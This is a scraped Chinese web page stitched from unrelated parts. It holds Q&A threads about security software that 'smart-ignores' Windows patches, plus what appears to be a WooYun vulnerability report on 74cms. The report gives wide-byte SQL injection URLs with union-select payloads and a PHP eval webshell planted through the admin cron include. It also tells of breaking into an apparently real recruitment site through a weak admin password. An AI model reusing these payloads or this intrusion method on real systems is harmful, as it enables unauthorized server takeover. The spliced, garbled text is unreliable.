为什么我家的电脑刚装系统修复漏洞的时候提示智能忽略
为什么我家的电脑刚装系统修复漏洞的时候提示智能忽略
说智能忽烈？60个漏洞全部智能忽略，这个不是吓人吗！真无语，高手解答下！
补充：呵呵 ，不用了 ，我 已经找到解决的方法了！原来我把一个系统文件删除了，用系统碟恢复就可以了，现在一切正常了 ！
您好，您是用什么修复的，如果系统自带修复，我们不要用，因为系统自带的修复后，我们会下次系统重启的时候进不去系统，我推荐您用360安全卫士和金山贝壳等，如果用360和金山贝壳等智能忽略主要是因为我们系统不需要的补丁我不要打，弄不好以后会和其他软件和设置等冲突！，开机速度很使用时候速度很慢。如果您是换系统，先把系统的各种驱动先上，如，声卡，显卡，网卡等，因为先打补丁，再来上驱动，有的驱动就上不了。朋友如果还不行请联系我的E-mail
卡巴 一个一个来，都没得，重启也不行
如果可以，您重新安装系统，换WIN 7或者是 XP其他版本的！再试试。我想硬件没有问题的！
的感言：虽然不能解决问题，但是还是谢谢，给网络用户多谢提示也好！ 满意答案
你看看那些漏洞是高位的或者是严重不，要是不是就没事，不要紧的补丁打了也是浪费系统资源，更是会让系统崩溃的！只需要安装高位的和严重补丁就可以了。那些忽略就不要管了，我还忽略了105个补丁呢
360提示就是高危漏洞，但是又不修复，我气死！
你下载一个别的杀毒软件试试可以修复吗 谢谢
的感言：虽然不能解决问题，但是还是谢谢，给网络用户多谢提示也好！
其他回答 (2)
360修复漏洞啊，那是非常好的，千万不要用超级兔子修复漏洞，要是用他修复了有可能就启动不了。忽略漏洞也没有什么大碍啊，我的电脑90个漏洞就都忽略了。祝你好运
使用金山卫士修复漏洞功能试试，伴您轻松工作、学习、娱乐。保证不受黑客侵扰，还您一个绿色清洁的工作、游戏、娱乐环境。杜绝挂马、溢出、捆绑木马。并带有终身免费的双引擎杀毒技术，将所有木马病毒赶尽杀绝。
立即下载：
相关知识等待您来回答
电脑安全领域专家分享漏洞：
披露状态：
： 细节已通知厂商并且等待厂商处理中
： 厂商已经确认，细节仅向厂商公开
： 细节向核心白帽子及相关领域专家公开
： 细节向普通白帽子公开
： 细节向实习白帽子公开
： 细节向公众公开
简要描述：
今天下载了骑士cms的最新版本，由于好久以前一个哥们发了一个后台拿shell的漏洞，还有别人发的一个sql注入的漏洞，一个有意思的渗透测试过程就从这两个地方开始了，成功的拿下了某大型人才网站的服务器，过程算比较艰辛吧，由于附带了对其实cms的漏洞重新分析，并且加入了自己新的利用方法，所以这里提交到了通用漏洞
详细说明：
第一步 我们分析一个老的sql注入问题：
文件job/plus/ajax_common.php:(lines:88-100)
code 区域{
if (empty($_GET['query']))
$gbk_query=trim($_GET['query']);
if (strcasecmp(QISHI_DBCHARSET,&utf8&)!=0)
$gbk_query=iconv(&utf-8&,QISHI_DBCHARSET,$gbk_query);
$sql=&SELECT * FROM &.table('hotword').& WHERE w_word like '%{$gbk_query}%' ORDER BY `w_hot` DESC LIMIT 0 , 10&;
$result = $db-&query($sql);
iconv 这个函数在做编码转换的时候，会引入特殊字符，我们搭建了测试站点，如下：
http://192.168.47.131/74cms_v3.4./upload/plus/ajax_common.php?act=hotword&query=aa
让我们请求这个的时候，里面的问题参数query可能存在sql注入，首先我们直接使用单引号
http://192.168.47.131/74cms_v3.4./upload/plus/ajax_common.php?act=hotword&query=aa'
下来我们继续注入宽字节：
http://192.168.47.131/74cms_v3.4./upload/plus/ajax_common.php?act=hotword&query=aa%8c%27
由此可以排除了上面两种情况，下来我们继续测试
http://192.168.47.131/74cms_v3.4./upload/plus/ajax_common.php?act=hotword&query=aa%錦\%27%20union%20select%201,concat(version(),user()),3%23%27
神奇的貌似没有打补丁..........
这里居然引入进来了，不过骑士cms做了过滤，对sql的操作，例如select union之类的做了过滤
但是这个不影响，我不用就可以了，仍然可以通过盲注去猜测表结构,这里直接附带一个站点的测试，当然它没有做更新：
url:http://edc./job/plus/ajax_common.php?act=hotword&query=aa%%E9%8C%A6%27%20union%20select%201,concat(version(),user()),3%23%27
下来我们在分析另外一个漏洞，之前wooyun有过一个前台xss反射台拿shell的，这里原理一样，只不过我这里利用一个后台两个地方去获取shell，看一下代码：
登陆后台，看到内容底下有个hr工具，如图：
我们添加一个doc文件 ，文件的内容就是我们提前准备的shell，我们记录下这个文件的地址为：
data/hrtools/.doc
里面的内容就是一段小马................
然后我们在到另外一个地方，如图：
那么接下来我们分析分析代码，我们的doc文件里面的内容是：
code 区域&?php
file_put_contents(&../data/backup/shell.php&,&&?php @eval(\$_GET['pass']);?&&);
我们看看这，这个地方有个执行按钮，那么接下来我们分析一下这里执行处的代码：
admin/admin_crons.php:(lines:115-119)
code 区域if (!empty($crons))
if (!file_exists(QISHI_ROOT_PATH.&include/crons/&.$crons['filename']))
adminmsg(&任务文件 {$crons['filename']} 不存在！&,0);
require_once(QISHI_ROOT_PATH.&include/crons/&.$crons['filename']);
adminmsg(&执行成功！&,2);
这里明显就是从刚才那边直接取出来，然后包含执行了，那么我们点击执行，后根据我们doc文件我们会在backup底下生成一个shell.php
这里面还有另外一个思路，按照目前的逻辑，我们貌似只能挂一个小马，但是如果挂上去的小马，不能利用或者连接不上怎么办，我们还有另外一种思路，就是直接上大马，那么这个就要利用三处地方，这里我们不在分析，直接看下面渗透测试思路就ok
到这里代码就分析完了，这里全部都是在后台操作的，我们也可以在前台通过上传一个头像，利用xss进行getshell，功夫不负有心人，我们找到一个案例，而且貌似还比较大的网站：
---------------------------------------------------------------
下来我们进行渗透测试：
站点：人才技能网(http://edc./)
经过测试后台存在弱口令，我们登陆到了后台
我们进来之后，下来我们就是要去重复我上面分析的东西，结果真是巧合所挂的小马，菜刀链接不上，这里我就不演示了，我们直接看另外一个思路
1.如果我们可以再hr工具编辑哪里，连续上传两个doc，一个doc就是我们的大马，另一个doc就是我们的写shell的文件doc，然后我们只要在写shell的doc里面从另外一个大马文件读出来，然后写到backup/shell.php 里面即可:
操作如下：
记录上面的两个url：
url1（大马）：data/hrtools/.doc
url2 （写shell）：data/hrtools/.doc
写shell的doc，文件内容如下：
code 区域&?php
$file_path = &../data/hrtools/.doc&;
$content = file_get_contents($file_path);
file_put_contents(&../data/backup/shell.php&,$content);
然后我们把url2，贴到工具-》的任务计划哪里，如图所示:
保存后我们点击执行：
然后我们的大马就生成了，哈哈.................
ok到此这个服务器就已经拿下了，这个服务器里面相对东西还是很多的，它不止有骑士cms一个，还有其他几个，例如phpcms，我们通过这个点全部都能那道数据库文件
漏洞证明：
修复方案：
对于骑士cms来说，还是在这里转义一下，后台那还是通过xss 盲打，然后 能构造出来shell的，建议重视并修改
对于这个站点，及时升级，并改掉管理员密码
版权声明：转载请注明来源 @
厂商回应：
危害等级：高
漏洞Rank：20
确认时间： 16:45
厂商回复：
感谢反馈！
最新状态：
漏洞评价：
对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值
漏洞评价(共0人评价):
登陆后才能进行评分
偶像啊 大哥 火钳留名
我TM刚花了10乌云币看了洞
就对我公开了
@铁蛋火车侠 ................
登录后才能发表评论，请先提示信息 -
爱毒霸社区 -
Powered by Discuz!
后使用快捷导航没有帐号？
Powered byQQ电脑管家扫描到很多漏洞，安装补丁之后智能忽略了，修复不了，怎么回事？_百度知道
QQ电脑管家扫描到很多漏洞，安装补丁之后智能忽略了，修复不了，怎么回事？
我有更好的答案
按默认排序
生活愉快！很高兴为您解答：这是一些无关紧要的吧腾讯电脑管家会为您扫描一些你需要的漏洞有些不需要的漏洞安装会影响电脑的速度祝楼主工作顺利
您好，感谢您使用腾讯电脑管家。腾讯电脑管家只能为您屏蔽一些无关紧要的补丁，减少电脑内存占用，以及网络流量的使用。如问题仍未得到解决可以继续追问，我们会尽快为您解决这个问题的.
可以用360安全卫士进行全盘检查，他有智能修复功能如果它提示系统漏洞要修复，那就是应该要修复的 有的漏洞不用修复他就会智能忽略所以不必在意！这样不会影响系统的运行！360打补丁是很不错的！用的人最多！
其他类似问题
qq电脑管家的相关知识
您可能关注的推广
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁